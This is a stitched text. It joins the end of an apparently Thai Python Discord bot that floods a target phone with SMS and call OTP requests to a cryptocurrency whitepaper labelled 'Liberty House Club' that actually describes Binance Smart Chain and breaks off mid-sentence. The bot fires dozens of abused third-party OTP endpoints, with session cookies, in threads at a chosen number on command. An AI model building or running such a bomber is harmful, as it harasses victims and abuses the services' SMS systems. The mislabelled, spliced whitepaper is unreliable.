get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
Mdshobu / Liberty House Club Whitepaper# Liberty House Club **A Parallel Binance Chain to Enable Smart Contracts** _NOTE: This document is under development. Please check regularly for updates!_ ## Table of Contents - [Motivation](#motivation) - [Design Principles](#design-principles) - [Consensus and Validator Quorum](#consensus-and-validator-quorum) * [Proof of Staked Authority](#proof-of-staked-authority) * [Validator Quorum](#validator-quorum) * [Security and Finality](#security-and-finality) * [Reward](#reward) - [Token Economy](#token-economy) * [Native Token](#native-token) * [Other Tokens](#other-tokens) - [Cross-Chain Transfer and Communication](#cross-chain-transfer-and-communication) * [Cross-Chain Transfer](#cross-chain-transfer) * [BC to BSC Architecture](#bc-to-bsc-architecture) * [BSC to BC Architecture](#bsc-to-bc-architecture) * [Timeout and Error Handling](#timeout-and-error-handling) * [Cross-Chain User Experience](#cross-chain-user-experience) * [Cross-Chain Contract Event](#cross-chain-contract-event) - [Staking and Governance](#staking-and-governance) * [Staking on BC](#staking-on-bc) * [Rewarding](#rewarding) * [Slashing](#slashing) - [Relayers](#relayers) * [BSC Relayers](#bsc-relayers) * [Oracle Relayers](#oracle-relayers) - [Outlook](#outlook) # Motivation After its mainnet community [launch](https://www.binance.com/en/blog/327334696200323072/Binance-DEX-Launches-on-Binance-Chain-Invites-Further-Community-Development) in April 2019, [Binance Chain](https://www.binance.org) has exhibited its high speed and large throughput design. Binance Chain’s primary focus, its native [decentralized application](https://en.wikipedia.org/wiki/Decentralized_application) (“dApp”) [Binance DEX](https://www.binance.org/trade), has demonstrated its low-latency matching with large capacity headroom by handling millions of trading volume in a short time. Flexibility and usability are often in an inverse relationship with performance. The concentration on providing a convenient digital asset issuing and trading venue also brings limitations. Binance Chain's most requested feature is the programmable extendibility, or simply the [Smart Contract](https://en.wikipedia.org/wiki/Smart_contract) and Virtual Machine functions. Digital asset issuers and owners struggle to add new decentralized features for their assets or introduce any sort of community governance and activities. Despite this high demand for adding the Smart Contract feature onto Binance Chain, it is a hard decision to make. The execution of a Smart Contract may slow down the exchange function and add non-deterministic factors to trading. If that compromise could be tolerated, it might be a straightforward idea to introduce a new Virtual Machine specification based on [Tendermint](https://tendermint.com/core/), based on the current underlying consensus protocol and major [RPC](https://docs.binance.org/api-reference/node-rpc.html) implementation of Binance Chain. But all these will increase the learning requirements for all existing dApp communities, and will not be very welcomed. We propose a parallel blockchain of the current Binance Chain to retain the high performance of the native DEX blockchain and to support a friendly Smart Contract function at the same time. # Design Principles After the creation of the parallel blockchain into the Binance Chain ecosystem, two blockchains will run side by side to provide different services. The new parallel chain will be called “**Binance Smart Chain**” (short as “**BSC**” for the below sections), while the existing mainnet remains named “**Binance Chain**” (short as “**BC**” for the below sections). Here are the design principles of **BSC**: 1. **Standalone Blockchain**: technically, BSC is a standalone blockchain, instead of a layer-2 solution. Most BSC fundamental technical and business functions should be self-contained so that it can run well even if the BC stopped for a short period. 2. **Ethereum Compatibility**: The first practical and widely-used Smart Contract platform is Ethereum. To take advantage of the relatively mature applications and community, BSC chooses to be compatible with the existing Ethereum mainnet. This means most of the **dApps**, ecosystem components, and toolings will work with BSC and require zero or minimum changes; BSC node will require similar (or a bit higher) hardware specification and skills to run and operate. The implementation should leave room for BSC to catch up with further Ethereum upgrades. 3. **Staking Involved Consensus and Governance**: Staking-based consensus is more environmentally friendly and leaves more flexible option to the community governance. Expectedly, this consensus should enable better network performance over [proof-of-work](https://en.wikipedia.org/wiki/Proof_of_work) blockchain system, i.e., faster blocking time and higher transaction capacity. 4. **Native Cross-Chain Communication**: both BC and BSC will be implemented with native support for cross-chain communication among the two blockchains. The communication protocol should be bi-directional, decentralized, and trustless. It will concentrate on moving digital assets between BC and BSC, i.e., [BEP2](https://github.com/binance-chain/BEPs/blob/master/BEP2.md) tokens, and eventually, other BEP tokens introduced later. The protocol should care for the minimum of other items stored in the state of the blockchains, with only a few exceptions. # Consensus and Validator Quorum Based on the above design principles, the consensus protocol of BSC is to fulfill the following goals: 1. Blocking time should be shorter than Ethereum network, e.g. 5 seconds or even shorter. 2. It requires limited time to confirm the finality of transactions, e.g. around 1-min level or shorter. 3. There is no inflation of native token: BNB, the block reward is collected from transaction fees, and it will be paid in BNB. 4. It is compatible with Ethereum system as much as possible. 5. It allows modern [proof-of-stake](https://en.wikipedia.org/wiki/Proof_of_stake) blockchain network governance. ## Proof of Staked Authority Although Proof-of-Work (PoW) has been recognized as a practical mechanism to implement a decentralized network, it is not friendly to the environment and also requires a large size of participants to maintain the security. Ethereum and some other blockchain networks, such as [MATIC Bor](https://github.com/maticnetwork/bor), [TOMOChain](https://tomochain.com/), [GoChain](https://gochain.io/), [xDAI](https://xdai.io/), do use [Proof-of-Authority(PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) or its variants in different scenarios, including both testnet and mainnet. PoA provides some defense to 51% attack, with improved efficiency and tolerance to certain levels of Byzantine players (malicious or hacked). It serves as an easy choice to pick as the fundamentals. Meanwhile, the PoA protocol is most criticized for being not as decentralized as PoW, as the validators, i.e. the nodes that take turns to produce blocks, have all the authorities and are prone to corruption and security attacks. Other blockchains, such as EOS and Lisk both, introduce different types of [Delegated Proof of Stake (DPoS)](https://en.bitcoinwiki.org/wiki/DPoS) to allow the token holders to vote and elect the validator set. It increases the decentralization and favors community governance. BSC here proposes to combine DPoS and PoA for consensus, so that: 1. Blocks are produced by a limited set of validators 2. Validators take turns to produce blocks in a PoA manner, similar to [Ethereum’s Clique](https://eips.ethereum.org/EIPS/eip-225) consensus design 3. Validator set are elected in and out based on a staking based governance ## Validator Quorum In the genesis stage, a few trusted nodes will run as the initial Validator Set. After the blocking starts, anyone can compete to join as candidates to elect as a validator. The staking status decides the top 21 most staked nodes to be the next validator set, and such an election will repeat every 24 hours. **BNB** is the token used to stake for BSC. In order to remain as compatible as Ethereum and upgradeable to future consensus protocols to be developed, BSC chooses to rely on the **BC** for staking management (Please refer to the below “[Staking and Governance](#staking-and-governance)” section). There is a **dedicated staking module for BSC on BC**. It will accept BSC staking from BNB holders and calculate the highest staked node set. Upon every UTC midnight, BC will issue a verifiable `ValidatorSetUpdate` cross-chain message to notify BSC to update its validator set. While producing further blocks, the existing BSC validators check whether there is a `ValidatorSetUpdate` message relayed onto BSC periodically. If there is, they will update the validator set after an **epoch period**, i.e. a predefined number of blocking time. For example, if BSC produces a block every 5 seconds, and the epoch period is 240 blocks, then the current validator set will check and update the validator set for the next epoch in 1200 seconds (20 minutes). ## Security and Finality Given there are more than ½\*N+1 validators are honest, PoA based networks usually work securely and properly. However, there are still cases where certain amount Byzantine validators may still manage to attack the network, e.g. through the “[Clone Attack](https://arxiv.org/pdf/1902.10244.pdf)”. To secure as much as BC, BSC users are encouraged to wait until receiving blocks sealed by more than ⅔\*N+1 different validators. In that way, the BSC can be trusted at a similar security level to BC and can tolerate less than ⅓\*N Byzantine validators. With 21 validators, if the block time is 5 seconds, the ⅔\*N+1 different validator seals will need a time period of (⅔\*21+1)*5 = 75 seconds. Any critical applications for BSC may have to wait for ⅔\*N+1 to ensure a relatively secure finality. However, besides such arrangement, BSC does introduce **Slashing** logic to penalize Byzantine validators for **double signing** or **inavailability**, which will be covered in the “Staking and Governance” section later. This Slashing logic will expose the malicious validators in a very short time and make the “Clone Attack” very hard or extremely non-beneficial to execute. With this enhancement, ½\*N+1 or even fewer blocks are enough as confirmation for most transactions. ## Reward All the BSC validators in the current validator set will be rewarded with transaction **fees in BNB**. As BNB is not an inflationary token, there will be no mining rewards as what Bitcoin and Ethereum network generate, and the gas fee is the major reward for validators. As BNB is also utility tokens with other use cases, delegators and validators will still enjoy other benefits of holding BNB. The reward for validators is the fees collected from transactions in each block. Validators can decide how much to give back to the delegators who stake their BNB to them, in order to attract more staking. Every validator will take turns to produce the blocks in the same probability (if they stick to 100% liveness), thus, in the long run, all the stable validators may get a similar size of the reward. Meanwhile, the stakes on each validator may be different, so this brings a counter-intuitive situation that more users trust and delegate to one validator, they potentially get less reward. So rational delegators will tend to delegate to the one with fewer stakes as long as the validator is still trustful (insecure validator may bring slashable risk). In the end, the stakes on all the validators will have less variation. This will actually prevent the stake concentration and “winner wins forever” problem seen on some other networks. Some parts of the gas fee will also be rewarded to relayers for Cross-Chain communication. Please refer to the “[Relayers](#relayers)” section below. # Token Economy BC and BSC share the same token universe for BNB and BEP2 tokens. This defines: 1. The same token can circulate on both networks, and flow between them bi-directionally via a cross-chain communication mechanism. 2. The total circulation of the same token should be managed across the two networks, i.e. the total effective supply of a token should be the sum of the token’s total effective supply on both BSC and BC. 3. The tokens can be initially created on BSC in a similar format as ERC20 token standard, or on BC as a BEP2, then created on the other. There are native ways on both networks to link the two and secure the total supply of the token. ## Native Token BNB will run on BSC in the same way as ETH runs on Ethereum so that it remains as “native token” for both BSC and BC. This means, in addition to BNB is used to pay most of the fees on Binance Chain and Binance DEX, BNB will be also used to: 1. pay “fees“ to deploy smart contracts on BSC 2. stake on selected BSC validators, and get corresponding rewards 3. perform cross-chain operations, such as transfer token assets across BC and BSC ### Seed Fund Certain amounts of BNB will be burnt on BC and minted on BSC during its genesis stage. This amount is called “Seed Fund” to circulate on BSC after the first block, which will be dispatched to the initial BC-to-BSC Relayer(described in later sections) and initial validator set introduced at genesis. These BNBs are used to pay transaction fees in the early stage to transfer more BNB from BC onto BSC via the cross-chain mechanism. The BNB cross-chain transfer is discussed in a later section, but for BC to BSC transfer, it is generally to lock BNB on BC from the source address of the transfer to a system-controlled address and unlock the corresponding amount from special contract to the target address of the transfer on BSC, or reversely, when transferring from BSC to BC, it is to lock BNB from the source address on BSC into a special contract and release locked amount on BC from the system address to the target address. The logic is related to native code on BC and a series of smart contracts on BSC. ## Other Tokens BC supports BEP2 tokens and upcoming [BEP8 tokens](https://github.com/binance-chain/BEPs/pull/69), which are native assets transferrable and tradable (if listed) via fast transactions and sub-second finality. Meanwhile, as BSC is Ethereum compatible, it is natural to support ERC20 tokens on BSC, which here is called “**BEP2E**” (with the real name to be introduced by the future BEPs,it potentially covers BEP8 as well). BEP2E may be “Enhanced” by adding a few more methods to expose more information, such as token denomination, decimal precision definition and the owner address who can decide the Token Binding across the chains. BSC and BC work together to ensure that one token can circulate in both formats with confirmed total supply and be used in different use cases. ### Token Binding BEP2 tokens will be extended to host a new attribute to associate the token with a BSC BEP2E token contract, called “**Binder**”, and this process of association is called “**Token Binding**”. Token Binding can happen at any time after BEP2 and BEP2E are ready. The token owners of either BEP2 or BEP2E don’t need to bother about the Binding, until before they really want to use the tokens on different scenarios. Issuers can either create BEP2 first or BEP2E first, and they can be bound at a later time. Of course, it is encouraged for all the issuers of BEP2 and BEP2E to set the Binding up early after the issuance. A typical procedure to bind the BEP2 and BEP2E will be like the below: 1. Ensure both the BEP2 token and the BEP2E token both exist on each blockchain, with the same total supply. BEP2E should have 3 more methods than typical ERC20 token standard: * symbol(): get token symbol * decimals(): get the number of the token decimal digits * owner(): get **BEP2E contract owner’s address.** This value should be initialized in the BEP2E contract constructor so that the further binding action can verify whether the action is from the BEP2E owner. 2. Decide the initial circulation on both blockchains. Suppose the total supply is *S*, and the expected initial circulating supply on BC is *K*, then the owner should lock S-K tokens to a system controlled address on BC. 3. Equivalently, *K* tokens is locked in the special contract on BSC, which handles major binding functions and is named as **TokenHub**. The issuer of the BEP2E token should lock the *K* amount of that token into TokenHub, resulting in *S-K* tokens to circulate on BSC. Thus the total circulation across 2 blockchains remains as *S*. 4. The issuer of BEP2 token sends the bind transaction on BC. Once the transaction is executed successfully after proper verification: * It transfers *S-K* tokens to a system-controlled address on BC. * A cross-chain bind request package will be created, waiting for Relayers to relay. 5. BSC Relayers will relay the cross-chain bind request package into **TokenHub** on BSC, and the corresponding request and information will be stored into the contract. 6. The contract owner and only the owner can run a special method of TokenHub contract, `ApproveBind`, to verify the binding request to mark it as a success. It will confirm: * the token has not been bound; * the binding is for the proper symbol, with proper total supply and decimal information; * the proper lock are done on both networks; 10. Once the `ApproveBind` method has succeeded, TokenHub will mark the two tokens are bounded and share the same circulation on BSC, and the status will be propagated back to BC. After this final confirmation, the BEP2E contract address and decimals will be written onto the BEP2 token as a new attribute on BC, and the tokens can be transferred across the two blockchains bidirectionally. If the ApproveBind fails, the failure event will also be propagated back to BC to release the locked tokens, and the above steps can be re-tried later. # Cross-Chain Transfer and Communication Cross-chain communication is the key foundation to allow the community to take advantage of the dual chain structure: * users are free to create any tokenization, financial products, and digital assets on BSC or BC as they wish * the items on BSC can be manually and programmingly traded and circulated in a stable, high throughput, lighting fast and friendly environment of BC * users can operate these in one UI and tooling ecosystem. ## Cross-Chain Transfer The cross-chain transfer is the key communication between the two blockchains. Essentially the logic is: 1. the `transfer-out` blockchain will lock the amount from source owner addresses into a system controlled address/contracts; 2. the `transfer-in` blockchain will unlock the amount from the system controlled address/contracts and send it to target addresses. The cross-chain transfer package message should allow the BSC Relayers and BC **Oracle Relayers** to verify: 1. Enough amount of token assets are removed from the source address and locked into a system controlled addresses/contracts on the source blockchain. And this can be confirmed on the target blockchain. 2. Proper amounts of token assets are released from a system controlled addresses/contracts and allocated into target addresses on the target blockchain. If this fails, it can be confirmed on source blockchain, so that the locked token can be released back (may deduct fees). 3. The sum of the total circulation of the token assets across the 2 blockchains are not changed after this transfer action completes, no matter if the transfer succeeds or not.  The architecture of cross-chain communication is as in the above diagram. To accommodate the 2 heteroid systems, communication handling is different in each direction. ## BC to BSC Architecture BC is a Tendermint-based, instant finality blockchain. Validators with at least ⅔\*N+1 of the total voting power will co-sign each block on the chain. So that it is practical to verify the block transactions and even the state value via **Block Header** and **Merkle Proof** verification. This has been researched and implemented as “**Light-Client Protocol**”, which are intensively discussed in [the Ethereum](https://github.com/ethereum/wiki/wiki/Light-client-protocol) community, studied and implemented for [Cosmos inter-chain communication](https://github.com/cosmos/ics/blob/a4173c91560567bdb7cc9abee8e61256fc3725e9/spec/ics-007-tendermint-client/README.md). BC-to-BSC communication will be verified in an “**on-chain light client**” implemented via BSC **Smart Contracts** (some of them may be **“pre-compiled”**). After some transactions and state change happen on BC, if a transaction is defined to trigger cross-chain communication,the Cross-chain “**package**” message will be created and **BSC Relayers** will pass and submit them onto BSC as data into the "build-in system contracts". The build-in system contracts will verify the package and execute the transactions if it passes the verification. The verification will be guaranteed with the below design: 1. BC blocking status will be synced to the light client contracts on BSC from time to time, via block header and pre-commits, for the below information: * block and app hash of BC that are signed by validators * current validatorset, and validator set update 2. the key-value from the blockchain state will be verified based on the Merkle Proof and information from above #1. After confirming the key-value is accurate and trustful, the build-in system contracts will execute the actions corresponding to the cross-chain packages. Some examples of such packages that can be created for BC-to-BSC are: 1. Bind: bind the BEP2 tokens and BEP2E 2. Transfer: transfer tokens after binding, this means the circulation will decrease (be locked) from BC and appear in the target address balance on BSC 3. Error Handling: to handle any timeout/failure event for BSC-to-BC communication 4. Validatorset update of BSC To ensure no duplication, proper message sequence and timely timeout, there is a “Channel” concept introduced on BC to manage any types of the communication. For relayers, please also refer to the below “Relayers” section. ## BSC to BC Architecture BSC uses Proof of Staked Authority consensus protocol, which has a chance to fork and requires confirmation of more blocks. One block only has the signature of one validator, so that it is not easy to rely on one block to verify data from BSC. To take full advantage of validator quorum of BC, an idea similar to many [Bridge ](https://github.com/poanetwork/poa-bridge)or Oracle blockchains is adopted: 1. The cross-chain communication requests from BSC will be submitted and executed onto BSC as transactions. The execution of the transanction wil emit `Events`, and such events can be observed and packaged in certain “**Oracle**” onto BC. Instead of Block Headers, Hash and Merkle Proof, this type of “Oracle” package directly contains the cross-chain information for actions, such as sender, receiver and amount for transfer. 2. To ensure the security of the Oracle, the validators of BC will form anothe quorum of “**Oracle Relayers**”. Each validator of the BC should run a **dedicated process** as the Oracle Relayer. These Oracle Relayers will submit and vote for the cross-chain communication package, like Oracle, onto BC, using the same validator keys. Any package signed by more than ⅔\*N+1 Oracle Relayers’ voting power is as secure as any block signed by ⅔\*N+1 of the same quorum of validators’ voting power. By using the same validator quorum, it saves the light client code on BC and continuous block updates onto BC. Such Oracles also have Oracle IDs and types, to ensure sequencing and proper error handling. ## Timeout and Error Handling There are scenarios that the cross-chain communication fails. For example, the relayed package cannot be executed on BSC due to some coding bug in the contracts. **Timeout and error handling logics are** used in such scenarios. For the recognizable user and system errors or any expected exceptions, the two networks should heal themselves. For example, when BC to 